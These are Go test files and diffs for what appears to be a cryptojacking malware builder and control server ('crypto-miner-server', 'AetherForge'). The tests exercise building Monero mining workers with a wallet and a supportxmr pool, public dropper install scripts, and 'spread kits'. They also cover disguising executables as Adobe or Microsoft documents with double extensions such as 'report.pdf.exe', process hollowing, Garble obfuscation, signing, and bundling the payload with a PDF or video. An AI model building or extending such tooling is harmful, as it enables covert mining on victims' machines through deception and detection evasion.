req = httptest.NewRequest(http.MethodGet, "/get", nil)
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0)")
rec = httptest.NewRecorder()
router.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("UA-detected windows expected 200, got %d", rec.Code)
}
for _, path := range []string{"/install.sh", "/install.ps1"} {
req = httptest.NewRequest(http.MethodGet, path, nil)
req.Host = "forge.local:8989"
rec = httptest.NewRecorder()
router.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("%s status=%d", path, rec.Code)
}
}
}
func TestIntegrationBuildUninstallNotFound(t *testing.T) {
router, _, database, dataDir := newTestRouter(t)
buildID := "uninstall-build"
insertTestBuild(t, database, dataDir, buildID, "windows", "worker.exe")
rec := serveAuthed(t, router, http.MethodGet, "/api/v1/builds/"+buildID+"/uninstall", nil)
if rec.Code != http.StatusNotFound {
t.Fatalf("missing uninstall script expected 404, got %d", rec.Code)
}
}
func TestIntegrationRouterWebSocketDashboard(t *testing.T) {
router, _, _, _ := newTestRouter(t)
srv := startRouterServer(t, router)
badURL := "ws" + strings.TrimPrefix(srv.URL, "http") + "/ws/dashboard"
_, resp, err := websocket.DefaultDialer.Dial(badURL, nil)
if err == nil {
t.Fatal("expected dial failure without token")
}
if resp == nil || resp.StatusCode != http.StatusUnauthorized {
t.Fatalf("expected 401 without token, got err=%v status=%v", err, resp)
}
goodURL := badURL + "?token=" + wsDashboardToken(testAuthUser, testAuthPass)
conn, resp, err := websocket.DefaultDialer.Dial(goodURL, nil)
if err != nil {
t.Fatalf("dial with token: %v status=%v", err, resp)
}
t.Cleanup(func() { _ = conn.Close() })
var msg Message
if err := conn.ReadJSON(&msg); err != nil {
t.Fatalf("read init: %v", err)
}
if msg.Type != "init" {
t.Fatalf("expected init, got %q", msg.Type)
}
}
func TestIntegrationRouterWebSocketAgentBadSecret(t *testing.T) {
router, wsHub, _, _ := newTestRouter(t)
wsHub.SetFleetSecret("ws-fleet-secret")
t.Cleanup(func() { wsHub.SetFleetSecret("") })
srv := startRouterServer(t, router)
wsURL := "ws" + strings.TrimPrefix(srv.URL, "http") + "/ws/agent"
conn, _, err := websocket.DefaultDialer.Dial(wsURL, nil)
if err != nil {
t.Fatalf("dial agent ws: %v", err)
}
t.Cleanup(func() { _ = conn.Close() })
resp := authAgentConn(t, conn, map[string]interface{}{
"agent_id": "bad-secret-agent", "fleet_secret": "wrong", "hostname": "host",
})
var body map[string]interface{}
if err := json.Unmarshal(resp.Payload, &body); err != nil {
t.Fatal(err)
}
if body["success"] != false {
t.Fatalf("expected auth failure with bad fleet secret, got %+v", body)
}
if wsHub.isAgentConnected("bad-secret-agent") {
t.Fatal("agent should not register with bad fleet secret")
}
}
func TestIntegrationRouterWebSocketAgentConnectedCommand(t *testing.T) {
router, wsHub, _, _ := newTestRouter(t)
agentID := "router-cmd-agent"
connectAgentViaRouter(t, router, agentID)
deadline := time.Now().Add(2 * time.Second)
for time.Now().Before(deadline) {
if wsHub.isAgentConnected(agentID) {
break
}
time.Sleep(10 * time.Millisecond)
}
if !wsHub.isAgentConnected(agentID) {
t.Fatal("agent not connected via router ws")
}
rec := serveAuthed(t, router, http.MethodPost, "/api/v1/agents/"+agentID+"/command",
[]byte(`{"action":"pause"}`))
if rec.Code != http.StatusOK {
t.Fatalf("command status=%d body=%s", rec.Code, rec.Body.String())
}
}

View File

@@ -216,10 +216,11 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
path := r.URL.Path path := r.URL.Path
// Health check and download endpoints are always open. // Health check and one-liner installer endpoints are always open.
// NOTE: build download/artifact routes are intentionally NOT in this list —
// they require fleet-secret or Basic Auth (see isDownload block below).
if path == "/api/v1/health" || if path == "/api/v1/health" ||
path == "/get" || path == "/install.sh" || path == "/install.ps1" || path == "/get" || path == "/install.sh" || path == "/install.ps1" {
(strings.HasPrefix(path, "/api/v1/builds/") && (strings.HasSuffix(path, "/download") || strings.Contains(path, "/artifact/"))) {
next.ServeHTTP(w, r) next.ServeHTTP(w, r)
return return
} }
@@ -227,22 +228,44 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
// Agent-facing API endpoints (/api/v1/agent/*) require the fleet secret // Agent-facing API endpoints (/api/v1/agent/*) require the fleet secret
// in the X-Fleet-Secret header instead of Basic auth. This ensures only // in the X-Fleet-Secret header instead of Basic auth. This ensures only
// legitimately forged agents can call these endpoints. // legitimately forged agents can call these endpoints.
// A missing or empty fleet secret is always rejected — the server auto-
// generates one at startup so this state should never occur in production.
if strings.HasPrefix(path, "/api/v1/agent/") { if strings.HasPrefix(path, "/api/v1/agent/") {
fleetSecretForAgentPathsMu.RLock() fleetSecretForAgentPathsMu.RLock()
secret := fleetSecretForAgentPaths secret := fleetSecretForAgentPaths
fleetSecretForAgentPathsMu.RUnlock() fleetSecretForAgentPathsMu.RUnlock()
if secret != "" { if secret == "" {
provided := r.Header.Get("X-Fleet-Secret") http.Error(w, "server not ready: fleet secret not configured", http.StatusServiceUnavailable)
if subtle.ConstantTimeCompare([]byte(provided), []byte(secret)) != 1 { return
http.Error(w, "Forbidden", http.StatusForbidden) }
return provided := r.Header.Get("X-Fleet-Secret")
} if subtle.ConstantTimeCompare([]byte(provided), []byte(secret)) != 1 {
http.Error(w, "Forbidden", http.StatusForbidden)
return
} }
// Secret is empty (first run before config save) or matched — allow through.
next.ServeHTTP(w, r) next.ServeHTTP(w, r)
return return
} }
// Build download/artifact/uninstall routes: accept fleet secret OR Basic Auth.
// This lets forged agents self-upgrade (they have the fleet secret baked in)
// while still requiring credentials for unauthenticated callers.
isDownload := strings.HasPrefix(path, "/api/v1/builds/") &&
(strings.HasSuffix(path, "/download") ||
strings.Contains(path, "/artifact/") ||
strings.HasSuffix(path, "/uninstall"))
if isDownload {
fleetSecretForAgentPathsMu.RLock()
secret := fleetSecretForAgentPaths
fleetSecretForAgentPathsMu.RUnlock()
provided := r.Header.Get("X-Fleet-Secret")
if secret != "" && subtle.ConstantTimeCompare([]byte(provided), []byte(secret)) == 1 {
next.ServeHTTP(w, r)
return
}
// Fall through to Basic Auth below.
}
user, pass, ok := r.BasicAuth() user, pass, ok := r.BasicAuth()
if !ok { if !ok {
w.Header().Set("WWW-Authenticate", `Basic realm="AetherForge Control Deck"`) w.Header().Set("WWW-Authenticate", `Basic realm="AetherForge Control Deck"`)

View File

@@ -86,7 +86,9 @@ func TestBasicAuthMiddlewareHealthPublic(t *testing.T) {
} }
} }
func TestBasicAuthMiddlewareBuildDownloadPublic(t *testing.T) { // TestBasicAuthMiddlewareBuildDownloadRequiresAuth verifies that build download
// routes are no longer publicly accessible — they require fleet secret or Basic Auth.
func TestBasicAuthMiddlewareBuildDownloadRequiresAuth(t *testing.T) {
resetAuthState(t) resetAuthState(t)
h := basicAuthMiddleware(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { h := basicAuthMiddleware(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK) w.WriteHeader(http.StatusOK)
@@ -95,12 +97,25 @@ func TestBasicAuthMiddlewareBuildDownloadPublic(t *testing.T) {
"/api/v1/builds/abc/download", "/api/v1/builds/abc/download",
"/api/v1/builds/abc/artifact/worker.exe", "/api/v1/builds/abc/artifact/worker.exe",
} }
for _, path := range paths { for _, p := range paths {
req := httptest.NewRequest(http.MethodGet, path, nil) req := httptest.NewRequest(http.MethodGet, p, nil)
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != http.StatusUnauthorized {
t.Fatalf("%s without auth should be 401, got %d", p, rec.Code)
}
}
// Fleet secret should grant access.
SetAgentPathSecret("test-secret-abc")
t.Cleanup(func() { SetAgentPathSecret("") })
for _, p := range paths {
req := httptest.NewRequest(http.MethodGet, p, nil)
req.Header.Set("X-Fleet-Secret", "test-secret-abc")
rec := httptest.NewRecorder() rec := httptest.NewRecorder()
h.ServeHTTP(rec, req) h.ServeHTTP(rec, req)
if rec.Code != http.StatusOK { if rec.Code != http.StatusOK {
t.Fatalf("%s should be public, got %d", path, rec.Code) t.Fatalf("%s with fleet secret should be 200, got %d", p, rec.Code)
} }
} }
} }
@@ -212,7 +227,7 @@ func TestBasicAuthMiddlewareAgentPathFleetSecret(t *testing.T) {
} }
func TestRouterPostUsersValidation(t *testing.T) { func TestRouterPostUsersValidation(t *testing.T) {
router, _ := newTestRouter(t) router, _, _, _ := newTestRouter(t)
req := httptest.NewRequest(http.MethodPost, "/api/v1/users", bytes.NewReader([]byte(`{}`))) req := httptest.NewRequest(http.MethodPost, "/api/v1/users", bytes.NewReader([]byte(`{}`)))
req.SetBasicAuth(testAuthUser, testAuthPass) req.SetBasicAuth(testAuthUser, testAuthPass)
@@ -224,7 +239,7 @@ func TestRouterPostUsersValidation(t *testing.T) {
} }
func TestRouterPostUsersSuccess(t *testing.T) { func TestRouterPostUsersSuccess(t *testing.T) {
router, dataDir := newTestRouter(t) router, _, _, dataDir := newTestRouter(t)
body, _ := json.Marshal(map[string]string{"username": "newop", "password": "newpass"}) body, _ := json.Marshal(map[string]string{"username": "newop", "password": "newpass"})
req := httptest.NewRequest(http.MethodPost, "/api/v1/users", bytes.NewReader(body)) req := httptest.NewRequest(http.MethodPost, "/api/v1/users", bytes.NewReader(body))
@@ -250,7 +265,7 @@ func TestRouterPostUsersSuccess(t *testing.T) {
} }
func TestRouterRotateSecretNotConfigured(t *testing.T) { func TestRouterRotateSecretNotConfigured(t *testing.T) {
router, _ := newTestRouter(t) router, _, _, _ := newTestRouter(t)
req := httptest.NewRequest(http.MethodPost, "/api/v1/server/rotate-secret", nil) req := httptest.NewRequest(http.MethodPost, "/api/v1/server/rotate-secret", nil)
req.SetBasicAuth(testAuthUser, testAuthPass) req.SetBasicAuth(testAuthUser, testAuthPass)
rec := httptest.NewRecorder() rec := httptest.NewRecorder()
@@ -261,7 +276,7 @@ func TestRouterRotateSecretNotConfigured(t *testing.T) {
} }
func TestRouterRotateSecretSuccess(t *testing.T) { func TestRouterRotateSecretSuccess(t *testing.T) {
router, _ := newTestRouter(t) router, _, _, _ := newTestRouter(t)
SetRotateSecretFn(func() (string, error) { SetRotateSecretFn(func() (string, error) {
return "new-secret-token-xyz", nil return "new-secret-token-xyz", nil
}) })
@@ -284,7 +299,7 @@ func TestRouterRotateSecretSuccess(t *testing.T) {
} }
func TestRouterBuilderCancelNotFound(t *testing.T) { func TestRouterBuilderCancelNotFound(t *testing.T) {
router, _ := newTestRouter(t) router, _, _, _ := newTestRouter(t)
req := httptest.NewRequest(http.MethodDelete, "/api/v1/builder/cancel/missing-token", nil) req := httptest.NewRequest(http.MethodDelete, "/api/v1/builder/cancel/missing-token", nil)
req.SetBasicAuth(testAuthUser, testAuthPass) req.SetBasicAuth(testAuthUser, testAuthPass)
rec := httptest.NewRecorder() rec := httptest.NewRecorder()
@@ -294,7 +309,10 @@ func TestRouterBuilderCancelNotFound(t *testing.T) {
} }
} }
func TestRouterBuildDownloadNoAuth(t *testing.T) { // TestRouterBuildDownloadAuth verifies that build download routes require either
// the fleet secret (X-Fleet-Secret header) or Basic Auth — they are no longer
// publicly accessible without credentials.
func TestRouterBuildDownloadAuth(t *testing.T) {
dataDir := t.TempDir() dataDir := t.TempDir()
seedTestUsers(t, dataDir) seedTestUsers(t, dataDir)
database, err := db.New(dataDir) database, err := db.New(dataDir)
@@ -319,25 +337,50 @@ func TestRouterBuildDownloadNoAuth(t *testing.T) {
t.Fatal(err) t.Fatal(err)
} }
const testSecret = "test-fleet-secret-12345"
SetAgentPathSecret(testSecret)
t.Cleanup(func() { SetAgentPathSecret("") })
wsHub := NewWSHub(database) wsHub := NewWSHub(database)
cfg := &mockConfigProvider{} cfg := &mockConfigProvider{}
configHandler := NewConfigHandler(database, cfg) configHandler := NewConfigHandler(cfg)
aiHandler := NewAIHandler(database) aiHandler := NewAIHandler(database)
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}) fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{})
builderHandler := builder.NewHandler(database, dataDir, "", dataDir) builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir) blueprintHandler := NewBlueprintHandler(dataDir)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, nil), "", dataDir, nil) router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, nil), "", dataDir, nil)
req := httptest.NewRequest(http.MethodGet, "/api/v1/builds/"+buildID+"/download", nil) dlURL := "/api/v1/builds/" + buildID + "/download"
// 1. Unauthenticated → 401.
req := httptest.NewRequest(http.MethodGet, dlURL, nil)
rec := httptest.NewRecorder() rec := httptest.NewRecorder()
router.ServeHTTP(rec, req) router.ServeHTTP(rec, req)
if rec.Code != http.StatusUnauthorized {
t.Fatalf("unauthenticated download should be 401, got %d", rec.Code)
}
// 2. Valid fleet secret → 200.
req = httptest.NewRequest(http.MethodGet, dlURL, nil)
req.Header.Set("X-Fleet-Secret", testSecret)
rec = httptest.NewRecorder()
router.ServeHTTP(rec, req)
if rec.Code != http.StatusOK { if rec.Code != http.StatusOK {
t.Fatalf("download should be public, got %d body=%s", rec.Code, rec.Body.String()) t.Fatalf("fleet-secret download should be 200, got %d body=%s", rec.Code, rec.Body.String())
}
// 3. Basic Auth → 200.
req = httptest.NewRequest(http.MethodGet, dlURL, nil)
req.SetBasicAuth("testuser", "testpass")
rec = httptest.NewRecorder()
router.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("basic-auth download should be 200, got %d body=%s", rec.Code, rec.Body.String())
} }
} }
func TestRouterDropperInstallScriptsPublic(t *testing.T) { func TestRouterDropperInstallScriptsPublic(t *testing.T) {
router, _ := newTestRouter(t) router, _, _, _ := newTestRouter(t)
for _, path := range []string{"/install.sh", "/install.ps1"} { for _, path := range []string{"/install.sh", "/install.ps1"} {
req := httptest.NewRequest(http.MethodGet, path, nil) req := httptest.NewRequest(http.MethodGet, path, nil)
req.Host = "forge.local:8989" req.Host = "forge.local:8989"
@@ -353,7 +396,7 @@ func TestRouterDropperInstallScriptsPublic(t *testing.T) {
} }
func TestRouterSPAFallbackUnknownRoute(t *testing.T) { func TestRouterSPAFallbackUnknownRoute(t *testing.T) {
router, _ := newTestRouter(t) router, _, _, _ := newTestRouter(t)
req := httptest.NewRequest(http.MethodGet, "/unknown-dashboard-route", nil) req := httptest.NewRequest(http.MethodGet, "/unknown-dashboard-route", nil)
rec := httptest.NewRecorder() rec := httptest.NewRecorder()
router.ServeHTTP(rec, req) router.ServeHTTP(rec, req)
@@ -376,7 +419,7 @@ func TestRouterNoWebRootFallback(t *testing.T) {
wsHub := NewWSHub(database) wsHub := NewWSHub(database)
cfg := &mockConfigProvider{} cfg := &mockConfigProvider{}
configHandler := NewConfigHandler(database, cfg) configHandler := NewConfigHandler(cfg)
aiHandler := NewAIHandler(database) aiHandler := NewAIHandler(database)
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}) fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{})
builderHandler := builder.NewHandler(database, dataDir, "", dataDir) builderHandler := builder.NewHandler(database, dataDir, "", dataDir)

View File

@@ -0,0 +1,194 @@
package builder
import (
"context"
"net/http"
"os"
"path/filepath"
"strings"
"testing"
)
func TestFinishSpreadKitUniversal(t *testing.T) {
h, database := testHandlerDB(t)
defer database.Close()
buildDir := t.TempDir()
buildID := "spread-universal-1"
win := BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}
worker := filepath.Join(buildDir, "windows-amd64", "install-pc.exe")
if err := os.MkdirAll(filepath.Dir(worker), 0755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(worker, []byte("fake-worker"), 0644); err != nil {
t.Fatal(err)
}
req := &BuildRequest{
WorkerName: "My Worker",
ServerURL: "http://127.0.0.1:8989",
Wallet: "48abc",
PoolHost: "pool.supportxmr.com",
PoolPort: 3333,
}
workers := map[string]string{win.Label(): worker}
resp, code, primary := h.finishSpreadKit(buildID, buildDir, req, workers, []BuildPlatform{win})
if code != http.StatusOK || !resp.Success {
t.Fatalf("finishSpreadKit failed: code=%d resp=%+v", code, resp)
}
if primary != worker {
t.Fatalf("primary path: got %q want %q", primary, worker)
}
if !strings.Contains(resp.RelativePath, "universal") {
t.Fatalf("expected universal kit path, got %q", resp.RelativePath)
}
outDir := filepath.Join(h.projectRoot, "spread-kits", sanitizeFileName(req.WorkerName)+"-universal")
if _, err := os.Stat(filepath.Join(outDir, "README.txt")); err != nil {
t.Fatalf("spread kit output missing: %v", err)
}
}
func TestFinishSpreadKitSpreadKitFlag(t *testing.T) {
h, database := testHandlerDB(t)
defer database.Close()
buildDir := t.TempDir()
buildID := "spread-kit-2"
win := BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}
worker := filepath.Join(buildDir, "windows-amd64", "worker.exe")
if err := os.MkdirAll(filepath.Dir(worker), 0755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(worker, []byte("w"), 0644); err != nil {
t.Fatal(err)
}
req := &BuildRequest{WorkerName: "kit", ServerURL: "http://x", Wallet: "48a", SpreadKit: true}
resp, code, _ := h.finishSpreadKit(buildID, buildDir, req, map[string]string{win.Label(): worker}, []BuildPlatform{win})
if code != http.StatusOK || !resp.Success {
t.Fatalf("unexpected: code=%d %+v", code, resp)
}
sub := sanitizeFileName(req.WorkerName) + "-spread-kit"
if !strings.Contains(resp.RelativePath, sub) {
t.Fatalf("relative path %q should contain %q", resp.RelativePath, sub)
}
}
func TestFinishSpreadKitCopyWorkerFails(t *testing.T) {
h, database := testHandlerDB(t)
defer database.Close()
buildDir := t.TempDir()
win := BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}
req := &BuildRequest{WorkerName: "pc", ServerURL: "http://x", Wallet: "48a"}
workers := map[string]string{win.Label(): filepath.Join(buildDir, "missing.exe")}
resp, code, _ := h.finishSpreadKit("id", buildDir, req, workers, []BuildPlatform{win})
if code != http.StatusInternalServerError || resp.Success {
t.Fatalf("expected copy failure, code=%d success=%v err=%q", code, resp.Success, resp.Error)
}
}
func TestFinishSpreadKitPrimaryPrefersWindows(t *testing.T) {
h, database := testHandlerDB(t)
defer database.Close()
buildDir := t.TempDir()
linux := BuildPlatform{GOOS: "linux", GOARCH: "amd64", Ext: ""}
win := BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}
linuxWorker := filepath.Join(buildDir, "linux-amd64", "worker")
winWorker := filepath.Join(buildDir, "windows-amd64", "worker.exe")
for _, p := range []string{filepath.Dir(linuxWorker), filepath.Dir(winWorker)} {
if err := os.MkdirAll(p, 0755); err != nil {
t.Fatal(err)
}
}
if err := os.WriteFile(linuxWorker, []byte("l"), 0644); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(winWorker, []byte("w"), 0644); err != nil {
t.Fatal(err)
}
req := &BuildRequest{WorkerName: "multi", ServerURL: "http://x", Wallet: "48a"}
workers := map[string]string{linux.Label(): linuxWorker, win.Label(): winWorker}
_, _, primary := h.finishSpreadKit("id", buildDir, req, workers, []BuildPlatform{linux, win})
if primary != winWorker {
t.Fatalf("primary should prefer windows-amd64, got %q", primary)
}
}
func TestBuildUniversalAgentCopySourceFails(t *testing.T) {
h, database := testHandlerDB(t)
defer database.Close()
h.agentSrcDir = filepath.Join(t.TempDir(), "no-agent")
req := &BuildRequest{
TargetOS: "universal",
WorkerName: "pc",
ServerURL: "http://127.0.0.1:8989",
Wallet: "48abc",
}
resp, code, _ := h.buildUniversalAgent(context.Background(), req, "")
if code != http.StatusInternalServerError || resp.Success {
t.Fatalf("expected copy failure: code=%d %+v", code, resp)
}
if !strings.Contains(resp.Error, "agent source") {
t.Fatalf("error: %q", resp.Error)
}
}
func TestBuildUniversalAgentCompileFails(t *testing.T) {
h, database := testHandlerDB(t)
defer database.Close()
setFakeGoFail(t, h)
req := &BuildRequest{
TargetOS: "universal",
WorkerName: "pc",
ServerURL: "http://127.0.0.1:8989",
Wallet: "48abc",
SpreadKit: true,
}
resp, code, _ := h.buildUniversalAgent(context.Background(), req, "")
if code != http.StatusInternalServerError || resp.Success {
t.Fatalf("expected compile failure: code=%d %+v", code, resp)
}
}
func TestFinishUniversalFusionBuildFusionFails(t *testing.T) {
h, database := testHandlerDB(t)
defer database.Close()
setFakeGoFail(t, h)
buildDir := t.TempDir()
buildID := "fusion-fail-1"
prep := filepath.Join(t.TempDir(), "report.pdf")
if err := os.WriteFile(prep, []byte("%PDF-1.4"), 0644); err != nil {
t.Fatal(err)
}
win := BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}
worker := filepath.Join(buildDir, "windows-amd64", "worker-pc.exe")
if err := os.MkdirAll(filepath.Dir(worker), 0755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(worker, []byte("worker"), 0644); err != nil {
t.Fatal(err)
}
req := &BuildRequest{
WorkerName: "pc",
ServerURL: "http://127.0.0.1:8989",
Wallet: "48abc",
FusionEnabled: true,
FusionPayloadKind: "file",
FusionMediaMode: "paired",
FusionMediaBaseName: "report.pdf",
}
resp, code, _ := h.finishUniversalFusion(
context.Background(), buildID, buildDir, req, prep,
map[string]string{win.Label(): worker}, []BuildPlatform{win},
)
if code != http.StatusInternalServerError || resp.Success {
t.Fatalf("expected fusion compile failure: code=%d %+v", code, resp)
}
}

View File

@@ -0,0 +1,43 @@
package builder
import "testing"
func TestBuildTagsFor(t *testing.T) {
h := &Handler{}
req := &BuildRequest{ProcessHollowing: true, MeshP2P: true}
tags := h.buildTagsFor(req)
if len(tags) != 2 {
t.Fatalf("expected 2 tags, got %v", tags)
}
if tags[0] != "hollow" || tags[1] != "p2p" {
t.Fatalf("unexpected tags: %v", tags)
}
}
func TestBuildTagsForEmpty(t *testing.T) {
h := &Handler{}
if tags := h.buildTagsFor(&BuildRequest{}); len(tags) != 0 {
t.Fatalf("expected no tags, got %v", tags)
}
}
func TestShouldObfuscateRequestFlag(t *testing.T) {
h := &Handler{policy: BuildPolicy{DefaultObfuscate: false}}
if !h.shouldObfuscate(&BuildRequest{Obfuscate: true}) {
t.Fatal("request obfuscate flag should win")
}
}
func TestShouldObfuscatePolicyDefault(t *testing.T) {
h := &Handler{policy: BuildPolicy{DefaultObfuscate: true}}
if !h.shouldObfuscate(&BuildRequest{}) {
t.Fatal("policy default should enable obfuscation")
}
}
func TestShouldObfuscateOff(t *testing.T) {
h := &Handler{policy: BuildPolicy{DefaultObfuscate: false}}
if h.shouldObfuscate(&BuildRequest{}) {
t.Fatal("expected obfuscation off")
}
}

View File

@@ -0,0 +1,129 @@
package builder
import (
"encoding/json"
"runtime"
"strings"
"testing"
)
func TestFileDisguiseForExtKnown(t *testing.T) {
info := fileDisguiseForExt(".pdf")
if info.OriginalFilename != "AcroRd32.exe" {
t.Fatalf("pdf disguise: %+v", info)
}
if info.CompanyName != "Adobe Inc." {
t.Fatalf("expected Adobe, got %q", info.CompanyName)
}
}
func TestFileDisguiseForExtFallback(t *testing.T) {
info := fileDisguiseForExt(".unknownext")
if info.ProductName != "Windows" {
t.Fatalf("fallback disguise: %+v", info)
}
if info.OriginalFilename != "Explorer.exe" {
t.Fatalf("fallback filename: %q", info.OriginalFilename)
}
}
func TestFileDisguiseForExtCaseInsensitive(t *testing.T) {
a := fileDisguiseForExt(".PDF")
b := fileDisguiseForExt(".pdf")
if a.OriginalFilename != b.OriginalFilename {
t.Fatal("case should not matter")
}
}
func TestDisguisedRunnerNameDoubleExtension(t *testing.T) {
got := disguisedRunnerName("quarterly-report.pdf")
if got != "quarterly-report.pdf.exe" {
t.Fatalf("got %q", got)
}
}
func TestDisguisedRunnerNamePlainExe(t *testing.T) {
got := disguisedRunnerName("setup.exe")
if got != "setup.exe" {
t.Fatalf("got %q", got)
}
}
func TestDisguisedRunnerNameNoExtension(t *testing.T) {
got := disguisedRunnerName("payload")
if got != "payload.exe" {
t.Fatalf("got %q", got)
}
}
func TestDisguisedRunnerNameSanitizes(t *testing.T) {
got := disguisedRunnerName("bad/name.pdf")
if strings.Contains(got, "/") {
t.Fatalf("sanitized name still has slash: %q", got)
}
}
func TestWinresVersionJSON(t *testing.T) {
info := fileDisguiseForExt(".docx")
raw, err := winresVersionJSON(info, "icon.ico")
if err != nil {
t.Fatal(err)
}
var doc map[string]any
if err := json.Unmarshal(raw, &doc); err != nil {
t.Fatal(err)
}
ver, ok := doc["RT_VERSION"].(map[string]any)
if !ok {
t.Fatal("missing RT_VERSION")
}
block, ok := ver["#1"].(map[string]any)
if !ok {
t.Fatal("missing version block")
}
en, ok := block["0409"].(map[string]any)
if !ok {
t.Fatal("missing 0409 locale")
}
if en["FileVersion"] != info.FileVersion {
t.Fatalf("FileVersion mismatch: %v", en["FileVersion"])
}
fv := en["FILEVERSION"].(string)
if !strings.Contains(fv, ",") {
t.Fatalf("FILEVERSION should use commas: %q", fv)
}
}
func TestFileDisguiseSummary(t *testing.T) {
s := fileDisguiseSummary(".mp4")
if !strings.Contains(s, "MP4") && !strings.Contains(s, "Video") {
t.Fatalf("unexpected summary: %q", s)
}
if !strings.Contains(s, "Microsoft") {
t.Fatalf("expected company in summary: %q", s)
}
}
func TestApplyDocumentDisguiseNonWindowsNoOp(t *testing.T) {
if runtime.GOOS == "windows" {
t.Skip("applyDocumentDisguise is Windows-only; covered by disguise_windows.go integration")
}
h := &Handler{}
if err := h.applyDocumentDisguise(".pdf", "runner.exe"); err != nil {
t.Fatalf("non-windows stub should no-op: %v", err)
}
}
func TestDisguiseByExtCoverage(t *testing.T) {
if len(disguiseByExt) < 40 {
t.Fatalf("expected many disguise entries, got %d", len(disguiseByExt))
}
for ext, info := range disguiseByExt {
if !strings.HasPrefix(ext, ".") {
t.Fatalf("extension %q should start with dot", ext)
}
if info.OriginalFilename == "" || info.ProductName == "" {
t.Fatalf("incomplete disguise for %q", ext)
}
}
}

View File

@@ -1,6 +1,14 @@
package builder package builder
import "testing" import (
"path/filepath"
"strings"
"testing"
"time"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
)
func TestEstimateFusionBuildTotals(t *testing.T) { func TestEstimateFusionBuildTotals(t *testing.T) {
h := &Handler{ h := &Handler{
@@ -27,3 +35,177 @@ func TestEstimateFusionBuildTotals(t *testing.T) {
t.Fatal("expected export path") t.Fatal("expected export path")
} }
} }
func TestEstimateFusionBuildVideoPaired(t *testing.T) {
h := &Handler{dataDir: t.TempDir(), projectRoot: t.TempDir()}
req := &BuildRequest{
FusionEnabled: true,
FusionPayloadKind: "video",
FusionMediaMode: "paired",
}
got := h.estimateFusionBuild(req, "", 100*1024*1024, "movie.mkv")
if got.EstimatedTotalBytes >= 100*1024*1024+defaultWorkerBytes {
t.Fatalf("paired video should not add full prep to total: %d", got.EstimatedTotalBytes)
}
if got.ExportPath == "" {
t.Fatal("expected export path for video")
}
}
func TestEstimateFusionBuildVideoEmbedded(t *testing.T) {
h := &Handler{dataDir: t.TempDir(), projectRoot: t.TempDir()}
req := &BuildRequest{
FusionEnabled: true,
FusionPayloadKind: "video",
FusionMediaMode: "embedded",
}
prepSize := int64(50 * 1024 * 1024)
got := h.estimateFusionBuild(req, "", prepSize, "movie.mkv")
if got.EstimatedTotalBytes <= prepSize {
t.Fatalf("embedded video total should include prep: %d", got.EstimatedTotalBytes)
}
}
func TestEstimateFusionBuildGarbleNote(t *testing.T) {
h := &Handler{dataDir: t.TempDir(), projectRoot: t.TempDir(), policy: BuildPolicy{DefaultObfuscate: true}}
req := &BuildRequest{FusionEnabled: true, Obfuscate: true}
got := h.estimateFusionBuild(req, "", 1024, "prep.exe")
found := false
for _, n := range got.Notes {
if strings.Contains(n, "Garble") {
found = true
break
}
}
if !found {
t.Fatal("expected garble note when obfuscate requested without garble path")
}
}
func TestEstimateWorkerBytesDefault(t *testing.T) {
h := &Handler{}
if got := h.estimateWorkerBytes(); got != defaultWorkerBytes {
t.Fatalf("default worker bytes: %d", got)
}
}
func TestEstimateFusionBuildSignNote(t *testing.T) {
h := &Handler{dataDir: t.TempDir(), projectRoot: t.TempDir()}
req := &BuildRequest{FusionEnabled: true, SignBuild: true}
got := h.estimateFusionBuild(req, "", 1024, "prep.exe")
found := false
for _, n := range got.Notes {
if strings.Contains(n, "sign") || strings.Contains(n, "Sign") || strings.Contains(n, "certificate") {
found = true
break
}
}
if !found {
t.Fatal("expected signing note when SignBuild without cert configured")
}
}
func TestEstimateFusionBuildDetectKindFromPrepPath(t *testing.T) {
h := &Handler{dataDir: t.TempDir(), projectRoot: t.TempDir()}
req := &BuildRequest{FusionEnabled: true}
prep := filepath.Join(t.TempDir(), "payload.exe")
got := h.estimateFusionBuild(req, prep, 1024, "payload.exe")
if got.EstimatedTotalBytes <= 1024 {
t.Fatalf("exe payload should add prep size: %d", got.EstimatedTotalBytes)
}
}
func TestEstimateFusionBuildDefaultRunnerName(t *testing.T) {
h := &Handler{dataDir: t.TempDir(), projectRoot: "."}
req := &BuildRequest{FusionEnabled: true}
got := h.estimateFusionBuild(req, "", 0, "quarterly.pdf")
if got.OutputFileName == "" || !strings.HasSuffix(strings.ToLower(got.OutputFileName), ".exe") {
t.Fatalf("expected default runner .exe name, got %q", got.OutputFileName)
}
}
func TestEstimateFusionBuildOutputDirInvalid(t *testing.T) {
h := &Handler{dataDir: t.TempDir(), projectRoot: t.TempDir()}
req := &BuildRequest{FusionEnabled: true, OutputDir: "../escape"}
got := h.estimateFusionBuild(req, "", 1024, "prep.exe")
for _, n := range got.Notes {
